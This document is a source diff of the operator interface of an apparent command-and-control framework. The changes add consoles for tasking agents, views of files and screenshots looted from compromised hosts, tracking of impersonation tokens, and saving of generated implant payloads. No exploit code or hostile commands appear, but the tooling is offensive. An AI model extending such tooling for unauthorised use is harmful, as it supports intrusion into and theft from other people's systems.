@@ -90,13 +100,16 @@ proc main(ip: string = "localhost", port: int = 37573) =
sessionsTable.agents.add(agent)
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
if not agent.impersonationToken.isEmptyOrWhitespace():
sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
# Initialize position of console windows to bottom by drawing them once when they are added
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
# so if you place your listeners somewhere else, the console windows show up somewhere else too
# The only case that is not covered is when the listeners table is hidden and the bottom panel was split
var agentConsole = Console(agent)
consoles[agent.agentId] = agentConsole
let listenersWindow = igFindWindowByName("Listeners")
let listenersWindow = igFindWindowByName(WIDGET_LISTENERS)
if listenersWindow != nil and listenersWindow.DockNode != nil:
igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32)
else:
@@ -110,12 +123,8 @@ proc main(ip: string = "localhost", port: int = 37573) =
of CLIENT_AGENT_PAYLOAD:
let payload = decode(event.data["payload"].getStr())
try:
let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe"
# TODO: Using native file dialogs to have the client select the output file path (does not work in WSL)
# let outFilePath = callDialogFileSave("Save Payload")
writeFile(outFilePath, payload)
let path = callDialogFileSave("Save Payload")
writeFile(path, payload)
except IOError:
discard
@@ -125,32 +134,64 @@ proc main(ip: string = "localhost", port: int = 37573) =
of CLIENT_CONSOLE_ITEM:
let agentId = event.data["agentId"].getStr()
consoles[agentId].addItem(
consoles[agentId].console.addItem(
cast[LogType](event.data["logType"].getInt()),
event.data["message"].getStr(),
event.timestamp
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
)
of CLIENT_EVENTLOG_ITEM:
eventlog.addItem(
eventlog.textarea.addItem(
cast[LogType](event.data["logType"].getInt()),
event.data["message"].getStr(),
event.timestamp
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
)
of CLIENT_BUILDLOG_ITEM:
listenersTable.generatePayloadModal.addBuildlogItem(
listenersTable.generatePayloadModal.buildLog.addItem(
cast[LogType](event.data["logType"].getInt()),
event.data["message"].getStr(),
event.timestamp
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
)
of CLIENT_LOOT_ADD:
let lootItem = event.data.to(LootItem)
case lootItem.itemType:
of DOWNLOAD:
lootDownloads.items.add(lootItem)
of SCREENSHOT:
lootScreenshots.items.add(lootItem)
else: discard
of CLIENT_LOOT_DATA:
let
lootItem = event.data["loot"].to(LootItem)
data = decode(event.data["data"].getStr())
case lootItem.itemType:
of DOWNLOAD:
lootDownloads.contents[lootItem.lootId] = data
of SCREENSHOT:
lootScreenshots.addTexture(lootItem.lootId, data)
else: discard
of CLIENT_IMPERSONATE_TOKEN:
let
agentId = event.data["agentId"].getStr()
impersonationToken = event.data["username"].getStr()
sessionsTable.agentImpersonation[agentId] = impersonationToken
of CLIENT_REVERT_TOKEN:
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
else: discard
# Draw/update UI components/views
if showSessionsTable: sessionsTable.draw(addr showSessionsTable)
if showSessionsTable: sessionsTable.draw(addr showSessionsTable, connection)
if showListeners: listenersTable.draw(addr showListeners, connection)
if showEventlog: eventlog.draw(addr showEventlog)
if showDownloads: lootDownloads.draw(addr showDownloads, connection)
if showScreenshots: lootScreenshots.draw(addr showScreenshots, connection)
# Show console windows
var newConsoleTable: Table[string, ConsoleComponent]
@@ -165,7 +206,9 @@ proc main(ip: string = "localhost", port: int = 37573) =
# This is done to ensure that closed console windows can be opened again
consoles = newConsoleTable
# igShowDemoWindow(nil)
except CatchableError as err:
echo "[-] ", err.msg
discard
# render
app.render()
@@ -173,5 +216,6 @@ proc main(ip: string = "localhost", port: int = 37573) =
if not showConquest:
app.handle.setWindowShouldClose(true)
when isMainModule:
import cligen; dispatch main

View File

@@ -6,8 +6,8 @@ import imguin/[cimgui, glfw_opengl, simple]
export cimgui, glfw_opengl, simple
import ./globals
import ./opengl/[zoomglass, loadImage]
export zoomglass, loadImage
import ./opengl/loadImage
export loadImage
import ./[saveImage, setupFonts, utils, vecs]
export saveImage, setupFonts, utils, vecs

View File

@@ -1,4 +1,4 @@
import imguin/[cimgui, glfw_opengl, simple]
import imguin/cimgui
import ../utils/appImGui
# https://rgbcolorpicker.com/0-1

View File

@@ -1 +1,9 @@
import ../utils/fonticon/IconsFontAwesome6
const CONQUEST_ROOT* {.strdefine.} = ""
const WIDGET_SESSIONS* = " " & ICON_FA_LIST & " " & "Sessions [Table View]"
const WIDGET_LISTENERS* = " " & ICON_FA_SATELLITE_DISH & " " & "Listeners"
const WIDGET_EVENTLOG* = " " & ICON_FA_CLIPBOARD_LIST & " " & "Eventlog"
const WIDGET_DOWNLOADS* = " " & ICON_FA_DOWNLOAD & " " & "Downloads"
const WIDGET_SCREENSHOTS* = " " & ICON_FA_IMAGE & " " & "Screenshots"

View File

@@ -147,3 +147,52 @@ when not defined(SDL):
else:
echo "Not found: ",iconName
glfw.setWindowIcon(window, 0, nil)
# Load a texture from a byte sequence, as this is the data type that is received by the team server
proc loadTextureFromBytes*(imageBytes: seq[byte], textureID: var uint32): tuple[width: int, height: int] =
var width, height, channels: int
var imageLen = imageBytes.len()
# Decode image from memory
let imageData = stbi.load_from_memory(
imageBytes,
width,
height,
channels,
stbi.RGBA
)
if imageData == @[]:
raise newException(IOError, "Failed to decode image from bytes")
# Create texture if needed
if textureID == 0:
glGenTextures(1, addr textureID)
glBindTexture(GL_TEXTURE_2D, textureID)
# Setup filtering parameters
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR.GLint)
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR.GLint)
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE.GLint)
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE.GLint)
glPixelStorei(GL_UNPACK_ROW_LENGTH, 0)
# Upload texture
glTexImage2D(GL_TEXTURE_2D,
0,
GL_RGBA.GLint,
width.GLSizei,
height.GLSizei,
0,
GL_RGBA,
GL_UNSIGNED_BYTE,
addr imageData[0])
let err = glGetError().int
if err != 0:
raise newException(IOError, fmt"OpenGL Error [0x{err:X}]: glTexImage2D()")
result = (width: width, height: height)

View File

@@ -1,41 +0,0 @@
import imguin/[cimgui,simple]
import loadImage
import ../fonticon/IconsFontAwesome6
#--------------
#--- zoomGlass
#--------------
proc zoomGlass*(textureID: var uint32, itemWidth:int, itemPosTop, itemPosEnd:ImVec2 , capture = false) =
# itemPosTop and itemPosEnd are absolute position in main window.
if igBeginItemTooltip():
defer: igEndTooltip()
let itemHeight = itemPosEnd.y.int - itemPosTop.y.int
let my_tex_w = itemWidth.float
let my_tex_h = itemHeight.float
let wkSize = igGetMainViewport().Worksize
if capture:
loadTextureFromBuffer(textureID # TextureID
, itemPosTop.x.int # x start pos
, wkSize.y.int - itemPosEnd.y.int # y start pos
, itemWidth ,itemHeight) # Image width and height must be 2^n.
#igText("lbp: (%.2f, %.2f)", pio.MousePos.x, pio.MousePos.y)
let pio = igGetIO()
let region_sz = 32.0f
var region_x = pio.MousePos.x - itemPosTop.x - region_sz * 0.5f
var region_y = pio.MousePos.y - itemPosTop.y - region_sz * 0.5f
let zoom = 4.0f
if region_x < 0.0f:
region_x = 0.0f
elif region_x > (my_tex_w - region_sz):
region_x = my_tex_w - region_sz
if region_y < 0.0f:
region_y = 0.0f
elif region_y > my_tex_h - region_sz:
region_y = my_tex_h - region_sz
let uv0 = ImVec2(x: (region_x) / my_tex_w, y: (region_y) / my_tex_h)
let uv1 = ImVec2(x: (region_x + region_sz) / my_tex_w, y: (region_y + region_sz) / my_tex_h)
let tint_col = ImVec4(x: 1.0f, y: 1.0f, z: 1.0f, w: 1.0f) #// No tint
let border_col = ImVec4(x: 0.22f, y: 0.56f, z: 0.22f, w: 1.0f) # Green
igText(ICON_FA_MAGNIFYING_GLASS & " 4 x")
let texRef = ImTextureRef(internal_TexData: nil, internal_TexID: textureID)
igImage(texRef, ImVec2(x: region_sz * zoom, y: region_sz * zoom), uv0, uv1) #, tint_col, border_col)

View File

@@ -25,13 +25,13 @@ when defined(windows):
("segoeui.ttf", "Seoge UI", 14.4),
]
)
else: # For Debian/Ubuntu/Mint
else: # Linux
const
fontInfo = TFontInfo(
osRootDir: "/",
fontDir: "usr/share/fonts",
fontTable: @[
("truetype/noto/NotoSansMono-Regular.ttf", "Noto Sans Mono", 20.0)
("truetype/noto/NotoSansMono-Regular.ttf", "Noto Sans Mono", 14.4)
]
)

View File

@@ -1,60 +1,33 @@
import whisky
import strformat, strutils, times, json, tables, sequtils
import strformat, strutils, sequtils
import imguin/[cimgui, glfw_opengl, simple]
import ../utils/[appImGui, colors]
import ../../common/[types, utils]
import ../../modules/manager
import ../[task, websocket]
import ../core/[task, websocket]
import ./widgets/textarea
export addItem
const MAX_INPUT_LENGTH = 512
const MAX_INPUT_LENGTH = 4096 # Input needs to allow enough characters for long commands (e.g. Rubeus tickets)
type
ConsoleComponent* = ref object of RootObj
agent*: UIAgent
showConsole*: bool
inputBuffer: array[MAX_INPUT_LENGTH, char]
console*: ConsoleItems
console*: TextareaWidget
history: seq[string]
historyPosition: int
currentInput: string
textSelect: ptr TextSelect
filter: ptr ImGuiTextFilter
#[
Helper functions for text selection
]#
proc getText(item: ConsoleItem): cstring =
if item.timestamp > 0:
let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss")
return fmt"[{timestamp}]{$item.itemType}{item.text}".string
else:
return fmt"{$item.itemType}{item.text}".string
proc getNumLines(data: pointer): csize_t {.cdecl.} =
if data.isNil:
return 0
let console = cast[ConsoleItems](data)
return console.items.len().csize_t
proc getLineAtIndex(i: csize_t, data: pointer, outLen: ptr csize_t): cstring {.cdecl.} =
if data.isNil:
return nil
let console = cast[ConsoleItems](data)
let line = console.items[i].getText()
if not outLen.isNil:
outLen[] = line.len.csize_t
return line
proc Console*(agent: UIAgent): ConsoleComponent =
result = new ConsoleComponent
result.agent = agent
result.showConsole = true
zeroMem(addr result.inputBuffer[0], MAX_INPUT_LENGTH)
result.console = new ConsoleItems
result.console.items = @[]
result.console = Textarea()
result.history = @[]
result.historyPosition = -1
result.currentInput = ""
result.textSelect = textselect_create(getLineAtIndex, getNumLines, cast[pointer](result.console), 0)
result.filter = ImGuiTextFilter_ImGuiTextFilter("")
#[
@@ -108,56 +81,91 @@ proc callback(data: ptr ImGuiInputTextCallbackData): cint {.cdecl.} =
return 0
of ImGui_InputTextFlags_CallbackCompletion.int32:
# Handle Tab-autocompletion
discard
# Handle Tab-autocompletion for agent commands
let commands = getCommands(component.agent.modules).mapIt(it.name & " ") & @["help "]
# Get the word to complete
let inputEndPos = data.CursorPos
var inputStartPos = inputEndPos
while inputStartPos > 0:
let c = cast[ptr UncheckedArray[char]](data.Buf)[inputStartPos - 1]
if c in [' ', '\t', ',', ';']:
break
dec inputStartPos
let inputLen = inputEndPos - inputStartPos
var currentWord = newString(inputLen)
for i in 0..<inputLen:
currentWord[i] = cast[ptr UncheckedArray[char]](data.Buf)[inputStartPos + i]
# Check for matches
var matches: seq[string] = @[]
for cmd in commands:
if cmd.toLowerAscii().startsWith(currentWord.toLowerAscii()):
matches.add(cmd)
# No matching commands found
if matches.len() == 0:
return 0
elif matches.len() == 1:
data.ImGuiInputTextCallbackData_DeleteChars(inputStartPos.cint, inputLen.cint)
data.ImGuiInputTextCallbackData_InsertChars(data.CursorPos, matches[0].cstring, nil)
# More than 1 matching command -> complete common prefix
else:
var prefixLen = inputLen
while prefixLen < matches[0].len():
let c = matches[0][prefixLen]
var allMatch = true
for i in 1 ..< matches.len():
if prefixLen >= matches[i].len() or matches[i][prefixLen] != c:
allMatch = false
break
if not allMatch:
break
inc prefixLen
if prefixLen > inputLen:
data.ImGuiInputTextCallbackData_DeleteChars(inputStartPos.cint, inputLen.cint)
data.ImGuiInputTextCallbackData_InsertChars(data.CursorPos, matches[0][0..<prefixLen].cstring, nil)
return 0
else: discard
#[
API to add new console item
]#
proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, timestamp: int64 = now().toTime().toUnix()) =
for line in data.split("\n"):
component.console.items.add(ConsoleItem(
timestamp: if itemType == LOG_OUTPUT: 0 else: timestamp,
itemType: itemType,
text: line
))
#[
Handling console commands
]#
proc displayHelp(component: ConsoleComponent) =
for module in getModules(component.agent.modules):
for cmd in module.commands:
component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}")
for cmd in getCommands(component.agent.modules):
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(25) & cmd.description)
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
var usage = command.name & " " & command.arguments.mapIt(
if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
if it.isRequired: "<" & it.name & ">" else: "[" & it.name & "]"
).join(" ")
if command.example != "":
usage &= "\nExample : " & command.example
component.addItem(LOG_OUTPUT, fmt"""
{command.description}
Usage : {usage}
""")
component.console.addItem(LOG_OUTPUT, command.description)
component.console.addItem(LOG_OUTPUT, "Usage : " & usage)
component.console.addItem(LOG_OUTPUT, "Example : " & command.example)
component.console.addItem(LOG_OUTPUT, "")
if command.arguments.len > 0:
component.addItem(LOG_OUTPUT, "Arguments:\n")
component.console.addItem(LOG_OUTPUT, "Arguments:")
let header = @["Name", "Type", "Required", "Description"]
component.addItem(LOG_OUTPUT, fmt" {header[0]:<15} {header[1]:<6} {header[2]:<8} {header[3]}")
component.addItem(LOG_OUTPUT, fmt" {'-'.repeat(15)} {'-'.repeat(6)} {'-'.repeat(8)} {'-'.repeat(20)}")
component.console.addItem(LOG_OUTPUT, " " & header[0].alignLeft(15) & " " & header[1].alignLeft(6) & " " & header[2].alignLeft(8) & " " & header[3])
component.console.addItem(LOG_OUTPUT, " " & '-'.repeat(15) & " " & '-'.repeat(6) & " " & '-'.repeat(8) & " " & '-'.repeat(20))
for arg in command.arguments:
let isRequired = if arg.isRequired: "YES" else: "NO"
component.addItem(LOG_OUTPUT, fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<6} {isRequired:>8} {arg.description}")
component.addItem(LOG_OUTPUT, "")
component.console.addItem(LOG_OUTPUT, " * " & arg.name.alignLeft(15) & " " & ($arg.argumentType).toUpperAscii().alignLeft(6) & " " & isRequired.align(8) & " " & arg.description)
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
try:
@@ -168,9 +176,14 @@ proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
component.displayHelp()
except ValueError:
# Command was not found
component.addItem(LOG_ERROR, fmt"The command '{parsed[1]}' does not exist.")
component.console.addItem(LOG_ERROR, "The command '" & parsed[1] & "' does not exist.")
# Add newline at the end of help text
component.console.addItem(LOG_OUTPUT, "")
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
# Add command to console
component.console.addItem(LOG_COMMAND, input)
# Convert user input into sequence of string arguments
let parsedArgs = parseInput(input)
@@ -186,38 +199,11 @@ proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection,
command = getCommandByName(parsedArgs[0])
task = createTask(component.agent.agentId, component.agent.listenerId, command, parsedArgs[1..^1])
connection.sendAgentTask(component.agent.agentId, task)
component.addItem(LOG_INFO, fmt"Tasked agent to {command.description.toLowerAscii()} ({Uuid.toString(task.taskId)})")
connection.sendAgentTask(component.agent.agentId, input, task)
component.console.addItem(LOG_INFO, "Tasked agent to " & command.description.toLowerAscii() & " (" & Uuid.toString(task.taskId) & ")")
except CatchableError:
component.addItem(LOG_ERROR, getCurrentExceptionMsg())
#[
Drawing
]#
proc print(item: ConsoleItem) =
if item.timestamp > 0:
let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss")
igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), fmt"[{timestamp}]".cstring)
igSameLine(0.0f, 0.0f)
case item.itemType:
of LOG_INFO, LOG_INFO_SHORT:
igTextColored(CONSOLE_INFO, $item.itemType)
of LOG_ERROR, LOG_ERROR_SHORT:
igTextColored(CONSOLE_ERROR, $item.itemType)
of LOG_SUCCESS, LOG_SUCCESS_SHORT:
igTextColored(CONSOLE_SUCCESS, $item.itemType)
of LOG_WARNING, LOG_WARNING_SHORT:
igTextColored(CONSOLE_WARNING, $item.itemType)
of LOG_COMMAND:
igTextColored(CONSOLE_COMMAND, $item.itemType)
of LOG_OUTPUT:
igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), $item.itemType)
igSameLine(0.0f, 0.0f)
igTextUnformatted(item.text.cstring, nil)
component.console.addItem(LOG_ERROR, getCurrentExceptionMsg())
proc draw*(component: ConsoleComponent, connection: WsConnection) =
igBegin(fmt"[{component.agent.agentId}] {component.agent.username}@{component.agent.hostname}".cstring, addr component.showConsole, 0)
@@ -238,8 +224,6 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
Problems I encountered with other approaches (Multi-line Text Input, TextEditor, ...):
- https://github.com/ocornut/imgui/issues/383#issuecomment-2080346129
- https://github.com/ocornut/imgui/issues/950
Huge thanks to @dinau for implementing ImGuiTextSelect into imguin very rapidly after I requested it.
]#
let consolePadding: float = 10.0f
let footerHeight = (consolePadding * 2) + (igGetStyle().ItemSpacing.y + igGetFrameHeightWithSpacing()) * 0.75f
@@ -283,40 +267,10 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
igSameLine(0.0f, textSpacing)
component.filter.ImGuiTextFilter_Draw("##ConsoleSearch", searchBoxWidth)
try:
# Set styles of the console window
igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f))
igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f)
let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32
if igBeginChild_Str("##Console", vec2(-1.0f, -footerHeight), childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32):
# Display console items
for item in component.console.items:
# Apply filter
if component.filter.ImGuiTextFilter_IsActive():
if not component.filter.ImGuiTextFilter_PassFilter(item.getText(), nil):
continue
item.print()
component.textSelect.textselect_update()
# Auto-scroll to bottom
if igGetScrollY() >= igGetScrollMaxY():
igSetScrollHereY(1.0f)
except IndexDefect:
# CTRL+A crashes when no items are in the console
discard
finally:
igPopStyleColor(3)
igPopStyleVar(1)
igEndChild()
#[
Console textarea
]#
component.console.draw(vec2(-1.0f, -footerHeight), component.filter)
# Padding
igDummy(vec2(0.0f, consolePadding))
@@ -324,7 +278,7 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
#[
Input field with prompt indicator
]#
igText(fmt"[{component.agent.agentId}]")
igText(fmt"[{component.agent.agentId}]".cstring)
igSameLine(0.0f, textSpacing)
# Calculate available width for input
@@ -332,13 +286,10 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
igSetNextItemWidth(availableSize.x)
let inputFlags = ImGuiInputTextFlags_EnterReturnsTrue.int32 or ImGuiInputTextFlags_EscapeClearsAll.int32 or ImGuiInputTextFlags_CallbackHistory.int32 or ImGuiInputTextFlags_CallbackCompletion.int32
if igInputText("##Input", addr component.inputBuffer[0], MAX_INPUT_LENGTH, inputFlags, callback, cast[pointer](component)):
if igInputText("##Input", cast[cstring](addr component.inputBuffer[0]), MAX_INPUT_LENGTH, inputFlags, callback, cast[pointer](component)):
let command = ($(addr component.inputBuffer[0])).strip()
let command = ($cast[cstring]((addr component.inputBuffer[0]))).strip()
if not command.isEmptyOrWhitespace():
component.addItem(LOG_COMMAND, command)
# Send command to team server
component.handleAgentCommand(connection, command)

View File

@@ -1,6 +1,6 @@
import tables
import tables, strutils
import imguin/[cimgui, glfw_opengl, simple]
import ../utils/appImGui
import ../utils/[appImGui, globals]
type
DockspaceComponent* = ref object of RootObj
@@ -53,9 +53,11 @@ proc draw*(component: DockspaceComponent, showComponent: ptr bool, views: Table[
discard igDockBuilderSplitNode(dockspaceId, ImGuiDir_Down, 5.0f, dockBottom, dockTop)
discard igDockBuilderSplitNode(dockTop[], ImGuiDir_Right, 0.5f, dockTopRight, dockTopLeft)
igDockBuilderDockWindow("Sessions [Table View]", dockTopLeft[])
igDockBuilderDockWindow("Listeners", dockBottom[])
igDockBuilderDockWindow("Eventlog", dockTopRight[])
igDockBuilderDockWindow(WIDGET_SESSIONS, dockTopLeft[])
igDockBuilderDockWindow(WIDGET_LISTENERS, dockBottom[])
igDockBuilderDockWindow(WIDGET_EVENTLOG, dockTopRight[])
igDockBuilderDockWindow(WIDGET_DOWNLOADS, dockBottom[])
igDockBuilderDockWindow(WIDGET_SCREENSHOTS, dockBottom[])
igDockBuilderDockWindow("Dear ImGui Demo", dockTopRight[])
igDockBuilderFinish(dockspaceId)
@@ -74,8 +76,18 @@ proc draw*(component: DockspaceComponent, showComponent: ptr bool, views: Table[
if igBeginMenu("Views", true):
# Create a menu item to toggle each of the main views of the application
for view, showView in views:
if igMenuItem(view, nil, showView[], showView != nil):
if not view.startsWith("Loot:"):
if igMenuItem(view.cstring, nil, showView[], showView != nil):
showView[] = not showView[]
if igBeginMenu("Loot", true):
for view, showView in views:
if view.startsWith("Loot:"):
let itemName = view.split(":")[1]
if igMenuItem(itemName.cstring, nil, showView[], showView != nil):
showView[] = not showView[]
igEndMenu()
igEndMenu()
igEndMenuBar()

View File

@@ -1,117 +1,20 @@
import strformat, strutils, times
import imguin/[cimgui, glfw_opengl, simple]
import ../utils/[appImGui, colors]
import ../../common/types
import imguin/[cimgui, glfw_opengl]
import ./widgets/textarea
import ../utils/appImGui
export addItem
type
EventlogComponent* = ref object of RootObj
title: string
log*: ConsoleItems
textSelect: ptr TextSelect
showTimestamps: bool
proc getText(item: ConsoleItem): cstring =
if item.timestamp > 0:
let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss")
return fmt"[{timestamp}]{$item.itemType}{item.text}".string
else:
return fmt"{$item.itemType}{item.text}".string
proc getNumLines(data: pointer): csize_t {.cdecl.} =
if data.isNil:
return 0
let log = cast[ConsoleItems](data)
return log.items.len().csize_t
proc getLineAtIndex(i: csize_t, data: pointer, outLen: ptr csize_t): cstring {.cdecl.} =
if data.isNil:
return nil
let log = cast[ConsoleItems](data)
let line = log.items[i].getText()
if not outLen.isNil:
outLen[] = line.len.csize_t
return line
textarea*: TextareaWidget
proc Eventlog*(title: string): EventlogComponent =
result = new EventlogComponent
result.title = title
result.log = new ConsoleItems
result.log.items = @[]
result.textSelect = textselect_create(getLineAtIndex, getNumLines, cast[pointer](result.log), 0)
result.showTimestamps = false
#[
API to add new log entry
]#
proc addItem*(component: EventlogComponent, itemType: LogType, data: string, timestamp: int64 = now().toTime().toUnix()) =
for line in data.split("\n"):
component.log.items.add(ConsoleItem(
timestamp: timestamp,
itemType: itemType,
text: line
))
#[
Drawing
]#
proc print(component: EventlogComponent, item: ConsoleItem) =
if (item.itemType != LOG_OUTPUT) and component.showTimestamps:
let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss")
igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), fmt"[{timestamp}]".cstring)
igSameLine(0.0f, 0.0f)
case item.itemType:
of LOG_INFO, LOG_INFO_SHORT:
igTextColored(CONSOLE_INFO, $item.itemType)
of LOG_ERROR, LOG_ERROR_SHORT:
igTextColored(CONSOLE_ERROR, $item.itemType)
of LOG_SUCCESS, LOG_SUCCESS_SHORT:
igTextColored(CONSOLE_SUCCESS, $item.itemType)
of LOG_WARNING, LOG_WARNING_SHORT:
igTextColored(CONSOLE_WARNING, $item.itemType)
of LOG_COMMAND:
igTextColored(CONSOLE_COMMAND, $item.itemType)
of LOG_OUTPUT:
igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), $item.itemType)
igSameLine(0.0f, 0.0f)
igTextUnformatted(item.text.cstring, nil)
result.textarea = Textarea(showTimestamps = false)
proc draw*(component: EventlogComponent, showComponent: ptr bool) =
igBegin(component.title, showComponent, 0)
igBegin(component.title.cstring, showComponent, 0)
defer: igEnd()
try:
# Set styles of the eventlog window
igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f))
igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f)
let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32
if igBeginChild_Str("##Log", vec2(-1.0f, -1.0f), childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32):
# Display eventlog items
for item in component.log.items:
component.print(item)
# Right click context menu to toggle timestamps in eventlog
if igBeginPopupContextWindow("EventlogSettings", ImGui_PopupFlags_MouseButtonRight.int32):
if igCheckbox("Show timestamps", addr component.showTimestamps):
igCloseCurrentPopup()
igEndPopup()
component.textSelect.textselect_update()
# Auto-scroll to bottom
if igGetScrollY() >= igGetScrollMaxY():
igSetScrollHereY(1.0f)
except IndexDefect:
# CTRL+A crashes when no items are in the eventlog
discard
finally:
igPopStyleColor(3)
igPopStyleVar(1)
igEndChild()
component.textarea.draw(vec2(-1.0f, -1.0f))

View File

@@ -1,10 +1,9 @@
import whisky
import strutils
import imguin/[cimgui, glfw_opengl, simple]
import ../utils/appImGui
import ../../common/[types, utils]
import ./modals/[startListener, generatePayload]
import ../websocket
import ../utils/appImGui
import ../core/websocket
import ../../common/types
type
ListenersTableComponent* = ref object of RootObj
@@ -23,7 +22,7 @@ proc ListenersTable*(title: string): ListenersTableComponent =
result.generatePayloadModal = AgentModal()
proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connection: WsConnection) =
igBegin(component.title, showComponent, 0)
igBegin(component.title.cstring, showComponent, 0)
defer: igEnd()
let textSpacing = igGetStyle().ItemSpacing.x
@@ -64,12 +63,13 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
ImGui_TableFlags_SizingStretchSame.int32
)
let cols: int32 = 4
let cols: int32 = 5
if igBeginTable("Listeners", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Port", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Callback Hosts", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Protocol", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupScrollFreeze(0, 1)
@@ -86,14 +86,17 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
# Enable multi-select functionality
igSetNextItemSelectionUserData(i)
var isSelected = ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i))
discard igSelectable_Bool(listener.listenerId, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
discard igSelectable_Bool(listener.listenerId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
if igTableSetColumnIndex(1):
igText(listener.address)
igText(listener.address.cstring)
if igTableSetColumnIndex(2):
igText($listener.port)
igText(($listener.port).cstring)
if igTableSetColumnIndex(3):
igText($listener.protocol)
for host in listener.hosts.split(";"):
igText(host.cstring)
if igTableSetColumnIndex(4):
igText(($listener.protocol).cstring)
# Handle right-click context menu
# Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected

View File

@@ -0,0 +1,145 @@
import strformat, strutils, times, os, tables, native_dialogs
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/appImGui
import ../../../common/types
import ../../core/websocket
import ../widgets/textarea
type
DownloadsComponent* = ref object of RootObj
title: string
items*: seq[LootItem]
contents*: Table[string, string]
textarea: TextareaWidget
selectedIndex: int
proc LootDownloads*(title: string): DownloadsComponent =
result = new DownloadsComponent
result.title = title
result.items = @[]
result.contents = initTable[string, string]()
result.selectedIndex = -1
result.textarea = Textarea(showTimestamps = false, autoScroll = false)
proc draw*(component: DownloadsComponent, showComponent: ptr bool, connection: WsConnection) =
igBegin(component.title.cstring, showComponent, 0)
defer: igEnd()
var availableSize: ImVec2
igGetContentRegionAvail(addr availableSize)
# Left panel (file table)
let childFlags = ImGui_ChildFlags_ResizeX.int32 or ImGui_ChildFlags_NavFlattened.int32
if igBeginChild_Str("##Left", vec2(availableSize.x * 0.66f, 0.0f), childFlags, ImGui_WindowFlags_None.int32):
let tableFlags = (
ImGui_TableFlags_Resizable.int32 or
ImGui_TableFlags_Reorderable.int32 or
ImGui_TableFlags_Hideable.int32 or
ImGui_TableFlags_HighlightHoveredColumn.int32 or
ImGui_TableFlags_RowBg.int32 or
ImGui_TableFlags_BordersV.int32 or
ImGui_TableFlags_BordersH.int32 or
ImGui_TableFlags_ScrollY.int32 or
